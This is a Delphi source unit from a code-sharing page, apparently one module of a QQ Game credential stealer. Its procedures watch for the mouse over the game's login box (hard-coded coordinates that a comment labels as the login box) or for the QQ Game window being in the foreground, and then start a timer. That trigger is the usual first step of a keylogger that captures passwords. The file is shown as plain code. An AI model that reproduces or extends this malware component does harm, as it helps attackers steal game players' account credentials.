📄 scanwin.pas
字号:
unit ScanWin;
interface
uses Windows, Messages;
var
//查找窗体定义
winhandle: Hwnd;
winprocess: Dword;
HAppIcon:Hicon;
FWinIcon:HIcon;
hWindows:HWND;
procedure ScanWindR(); //鼠标事件 .................第1步
procedure ScanWindK(); //键盘事件.................第2步
implementation
uses Varunit,Thread,Timer,FunUnit;
//第2步
procedure ScanWindR();
var
WinText:array[0..255] of char;
Buf:array[0..1024] of Char;
CKtie:string;
Classn:string;
p:TPoint;
handCK,Handle:HWND;
QQRect:Trect; //保存窗口的矩形区域
begin
GetCursorPos(p); //获取屏幕的坐标
Handle := WindowFromPoint(P);//返回当前位置的句柄
GetClassName(Handle, Buf, 1024);//得到类名
handCK:=GetParent(Handle); //得到父句柄
GetWindowText(handCK,@WinText,255);//获取窗口标题
Windows.ScreenToClient(handCK,P);
CKtie:='QQ游戏';
Classn:='AfxWnd42';
GetWindowRect(handCK,QQRect);//记录其窗口区域
QQRect.Left:=323;
QQRect.Top:= 303;
QQRect.Right:=388; //登陆框位子
QQRect.Bottom:=325;
if PtInRect(QQRect, p)and(Buf=Classn)and (WinText=CKtie)then
begin
TimerOn; //
end;
end;
//第2步
procedure ScanWindK();
var
WinText:array[0..255] of char;
CKtie:string;
Handle:HWND;
begin
Handle := GetForegroundWindow;
GetWindowText(Handle,@WinText,255);//获取窗口标题
CKtie:='QQ游戏';
if (WinText=CKtie)then
begin
TimerOn; //
end;
end;
end.
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -